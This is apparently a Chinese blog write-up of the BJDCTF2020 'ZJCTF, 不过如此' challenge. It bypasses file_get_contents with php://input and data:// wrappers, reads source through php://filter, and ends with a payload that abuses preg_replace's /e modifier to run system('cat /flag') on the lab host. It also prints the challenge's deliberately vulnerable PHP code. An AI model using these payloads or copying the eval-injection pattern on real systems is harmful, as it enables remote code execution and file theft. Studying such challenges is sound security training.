[BJDCTF2020]ZJCTF,不过如此

文章目录


  1. 打开网页
    在这里插入图片描述

    又是代码审计,代码也很简单所以直接开始分析,分析完后我们知道以下几点

    1. 要想执行成功 text 必须存在且 ile_get_contents($text,‘r’) 内容必须为 I have a dream
    2. file=next.php
  2. file_get_contents($text,‘r’) 这个函数的作用是从指定文件读取文件的内容并返回一个字符串,我们又不知道网站服务器上有没有这个文件且内容为 I have a dream,所以在网上找这个函数的一些漏洞,发现果然有漏洞

  3. file_get_contents($text,‘r’) 的绕过:

    • 使用php://input伪协议绕过
      ① 将要GET的参数?xxx=php://input
      ② 用post方法传入想要file_get_contents()函数返回的值
    1. 用data://伪协议绕过
      将url改为:?xxx=data://text/plain;base64,想要file_get_contents()函数返回的值的base64编码
      或者将url改为:?xxx=data:text/plain,(url编码的内容)
  4. 走进 if 函数:
    这里选择第一种方法:
    在这里插入图片描述
    可以看到我们已经走进了 if 但是这个页面显示的东西不清不楚的,对于 next.php 文件的内容我们也毫不知情,这搞个什么鬼

  5. 获取 next.php:

    我们可以看到这个 文件是使用 include 函数进行包含的,而这种一般都会存在漏洞的,直接在网上找 include函数读取指定文件漏洞 ,这不就好起来了,直接开干
    file=php://filter/read=convert.base64-encode/resource=next.php

    在这里插入图片描述
    对获取到的数据进行 base64 加密就可以得到代码:

    <?php
        $id = $_GET['id'];
        $_SESSION['id'] = $id;
    
        function complex($re, $str) {
            return preg_replace(
                '/(' . $re . ')/ei',
                'strtolower("\\1")',  # 将字符串转化为小写
                $str
            );
        }
    
    
        foreach($_GET as $re => $str) {
            echo complex($re, $str). "\n";
        }
    
        function getFlag(){
            @eval($_GET['cmd']);
        }
    
    ?>
    
  6. 很好现在相关代码我们都有了,接下来怎么弄成了问题因为现在你就知道在 next.php 中存在两个参数 id 和 cmd ,他们的用处什么怎么用你都不知道吗,看 wp 吧,技术不行百度来凑

    网上说,在 preg_replace 这里存在漏洞,链接
    看的我云里雾里不知所云,明天回填

  7. 最后的 payload:

    http://44585121-18cc-497e-a0af-dca6cdd4e842.node4.buuoj.cn:81/next.php?\S*=${getFlag()}&cmd=system(%27cat%20/flag%27);

总结

  1. 当我们遇到不会的问题的时候要勇于百度,对于任何的蛛丝马迹都要了解,同时要多看官方文档,大多数的函数怎么使用在文档中都有讲解
  2. 注意代码的审计
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值